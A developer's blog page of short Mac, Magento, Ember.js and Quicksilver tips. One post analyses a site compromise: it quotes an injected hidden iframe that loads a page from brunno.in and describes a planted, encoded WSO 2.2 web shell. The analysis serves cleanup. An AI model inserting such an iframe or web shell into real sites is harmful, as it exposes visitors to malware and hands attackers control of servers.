Learning Ember.js: A Journey

EmberJS

I’ve got this tendency to work on ambitious projects. I think it’s a good way to get extra value from a project. If I can learn something new while developing a website or application, I see that as an earn! Of course it doesn’t always lead to speedy results and every extra hour I work drives down my hourly earn… but in the end, the newly acquired knowledge and experience helps drive my progression and results in a better product.

Having said that, I’ve turned to Ember.js as my framework of choice for an, you guessed it, ambitious application…

1 month later… So I started writing this post about a month ago and the original idea was to just post things I’ve learnt about Ember. Since then, Ember released v.1.0.0-pre.2 with a new router API (v.2) and just a few days later, a build from the master branch reveals a slightly modified router on its way to v.2.1. This rapid development cycle is mainly due to the fact that Ember is approaching v.1.final or whatever you want to call it.

Anyway, because Ember.js is like a budding teenager, documentation gets dated real quick. So what I’ve decided to do is maintain (for the time being) a list of official docs, non-official docs, gists, GitHub repos, jsfiddles, blog posts, screencasts, irc logs, napkins and stone engravings relating to Ember.js & Ember Data.

TL;DR

I hope this helps!

[Most recent discoveries at the top + all links update at least weekly. Resources which are no longer relevant are struck-through]

Last updated: 28.01.2013

You’ve reached the bottom! If you have an Ember.js or Ember Data resource that you think would enhance this list, please post it in the comments and I’ll gladly add it to the list.

Posted in EmberJS, Programming | Leave a comment

Copy Images and Layers from Illustrator to Photoshop with pixel perfect accuracy

Part of my website development cycle is receiving the website design as an Illustrator file from my graphic designer. From there, I often have to extract design elements (images, layers, outlines) from the Illustrator file, import them (copy/paste) into Photoshop, perhaps do a few manipulations and finally save for web.

In 99% of cases, I required pixel perfect accuracy. Up until today, I used to struggle with retaining the design element size when I’d import it into Photoshop. For example, I’d select an element in Illustrator which is 100px*100px, copy it and paste it in Photoshop. Once in Photoshop it would then be about 98px*99px.

Turns out it’s because anti-aliasing is on by default when you confirm a pasted element into Photoshop. So the solution, simply enough, is to disable anti-aliasing before you confirm the placing of the element in photoshop.

I’ve created a short screencast to cover this issue (view in 1080p to get the full effect):

Posted in Design, Web | Leave a comment

Getting Tar and Excluding Folders/Files to Work on Mac OSX

Sometimes it’s the seemingly simplest things that become the biggest pain in the ass…
All I wanted to do was create a tar.gz archive of a project and exclude some files and folders.

I typed $ man tar, followed the instructions and had little success.

Turns out tar is really finicky and differs slightly by distro… I’ll spare you the long story and just give you my working solution.

The working command
$ COPYFILE_DISABLE=true tar -c --exclude-from=.tarignore -vzf ee.tar.gz .

The break down:
COPYFILE_DISABLE=true: Prevent the ._ problem as outlined here
tar: Execute tar
-c: Set to create
–exclude-from=.tarignore: Ignore all files and folders listed in .tarignore (Just like .gitignore if you use Git)
-vzf: In order, v for verbose(show us what you’re doing), z for compress in gzip and f for compress to file
ee.tar.gzc: The name of the output file
.: Archive everything in the current working directory. You can also replace the . with * which will ignore all system files such as .htaccess.

My .tarignore file (Some are files some are directories, no trailing slash required)

.DS_Store
.git
.gitignore
.sass-cache
db_dumps
logs
scss
source

Sources: A Better TAR on Mac OS X – Excluding Save/Backup Files, SVN Metadata, and Resource Forks, Removing ._ (dot underscore) files on Leopard, Extended attributes

Posted in General | 1 Comment

Magento 1.6 Menu Link Active State

Ahh Magento. So powerful but what a pain in the ass when you don’t work with it regularly.

So you’ve added custom menu items to your top.phtml

app/design/frontend/default/<strong>theme_name</strong>/template/navigation/top.phtml

It all works great but the .active class isn’t being applied to the menu item when you’re on said page.

For the home link

    <li class="home <?php echo (Mage::helper('core/url')->getCurrentUrl() === Mage::helper('core/url')->getHomeUrl()) ? "active" : ""; ?>"><a href="<?php echo $this->getUrl('')?>"><?php echo $this->__('Home') ?></a></li>

Note: What we’re doing here is we’re using built-in Magento methods and comparing the current url with the home url. If they’re the same, we append the active class to whatever other class we might have.

For any other link

    <li class="the-story <?php echo (strstr(Mage::helper('core/url')->getCurrentUrl(),"URL KEY HERE")) ? "active" : ""; ?>"><a href="<?php echo $this->getUrl('the-story')?>"><?php echo $this->__('The Story') ?></a></li>

Note: Similar to the home link code but this time we use the php function strstr() to see if the current page URL contains the URL key of the menu item page. If it does that mean we’re on that particular page so we append the .active class, same as above.

Hope this helps!

Posted in Programming, Web | 2 Comments

The Grains – Motorhome


The Grains, a great band from Byron Bay

Posted in General | Leave a comment

Magento PHP Extension “mcrypt” must be loaded – Mac OSX Lion

Ever try to setup Magento in a local dev. environment on your Mac? You might have encountered an error message: PHP extension “mcrypt” must be loaded

Well we better load it then! This solution here worked perfectly for me: http://michaelgracie.com/2011/07/21/plugging-mcrypt-into-php-on-mac-os-x-lion-10-7

Posted in General | 1 Comment

Show hidden files on Mac OSX

Ever needed to show those hidden files in Finder? I’ve tested this successfully in both Snow Leopard and Lion.

  1. Throw these two lines in your ~/.bash_profile (if it doesn’t exist, just create it)
  2. alias sf="defaults write com.apple.Finder AppleShowAllFiles true; killall Finder"
    alias hf="defaults write com.apple.Finder AppleShowAllFiles false; killall Finder"
    
  3. Reload your .bash_profile. From within terminal:
  4. . ~/.bash_profile
    
  5. Type sf to show all hidden files
  6. Type hf to hide all typically hidden files
Posted in General | Leave a comment

Getting Quicksilver to Launch at Startup on OSX Lion with a SSD

Quicksilver Splash

No Mac setup is complete without Quicksilver. If you’ve never heard of or used it before, I urge you to give it a try. It’s a lightning fast app launcher that’ll really increase your speed/productivity by reducing the amount of clicks/searching/typing you need to do to perform a task.

I digress; I recently installed a fresh version of OSX Lion on my machine and one of the first apps I installed was QS. However I quickly noticed that the Start at Login function wasn’t working very well –see not at all.

Symptoms:

  • QS logo appears at startup, but never completely fades out
  • The QS hotkey (CTRL+space) works and brings up the prompt but any subsequent keystroke is ignored

After a bit of searching I found the solution from Jon Stovell on the blacktree-quicksilver google group. It seems to affect OSX Lion setups and in particular machines using Solid State Drives or in my case a Solid State Hybrid Drive.

For completeness sake, here is the solution:

  1. Turn off the Start at login option in QS’s preferences.
  2. Paste the text below into a new plain text file in TextEdit.
  3. Save the file in ~/Library/LaunchAgents with a name like “QuicksilverStartAtLogin.plist”
  4. QS will now automatically start on next login
<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> 
<plist version="1.0"> 
<dict> 
  <key>Label</key> 
  <string>QuicksilverStartAtLogin</string> 
  <key>ProgramArguments</key> 
  <array> 
    <string>/Applications/Quicksilver.app/Contents/MacOS/Quicksilver</string> 
  </array> 
  <key>RunAtLoad</key> 
  <true/> 
</dict> 
</plist>

Optionally, you can replace <key>RunAtLoad</key> with <key>KeepAlive</key> if you want QS to restart automatically if it ever crashes.

Happy QS’ing

Posted in General | Leave a comment

brunno.in JS injection using WSO 2.2

A client recently gave me a call saying his website was throwing a malware warning when visited using Google Chrome.

Chrome Malware Warning

Chrome Malware Warning

A bit of research indicated that somehow the attacker gained access to the site, installed a Web Shell script in *.js.php files and injected JS code into existing JS files.

Google’s Webmaster Tools showed the injected code in the JS file:

Injected JS

Injected JS

The above code, once processed, created an iframe that lead to another site that perhaps contained malicious code:

<iframe frameborder="0" width="10" height="10" src="http://brunno.in/showthread.php?t=37220338"></iframe>

The other file: *.js.php is Gzipped and base64 encoded. When inflated and decoded it shows to be a Web Shell script or more specifically WSO 2.2. This allows the attacker to access & perform server based functions from the browser and easily insert malicious code.

You can find the inflated and decoded code here: WSO 2.2

What do do?
You can manually look through your files and remove all occurrences or if you have SSH access: remote to your server and use egrep/sed to match the recurring pattern and remove.

Posted in General | 1 Comment

Enabling IPv6 in Google Chrome

Alright, this will be a quick post but I wanted to take 5 and write this out for prosperity and maybe somebody else will have a similar issue.

I currently develop in RoR and PHP amongst other languages. For Rails I use Pow to quickly setup a development environment. For PHP I just set manually using the following instruction: How to setup your mac web development environment

The problem is when you use Pow, it kind of breaks your PHP development environments. So the quickest and easiest solution I found was to enable IPv6 in Apache so that your PHP dev. environments don’t conflict with Pow. Instructions on how to do this can be found here: Pow and Apache side by side.

All was good in the hood… until I ditched Firefox for Chrome. I used to use Firefox as my main browser, mainly due to Firebug. Recent developments such as Firefox’s rapid deployment schedule (Which I’m not a fan of, but that’s a whole other story) and high memory usage (I was hovering at 1.24gigs last I used FF with 5 tabs open) spurred me to change browsers.

In comes Google Chrome, life is good. Fast, small memory footprint, great built-in dev. tools… Life is good. But wait a minute, I can’t access my internal PHP dev. projects anymore. Turns out it has something to do with IPv6 and having the same DNS entry on your local machine and on the web… the exacts of it, I don’t know. But I’ve got a SOLUTION! If you’ve read this far, here it is:

Paste this in your Google Chrome address bar:
chrome://net-internals/#dns

Click on Enable IPv6

All done! I haven’t thoroughly tested for symptoms like other pages not loading but so far so good. If you have any information regarding this, please feel to share.

Posted in General | Leave a comment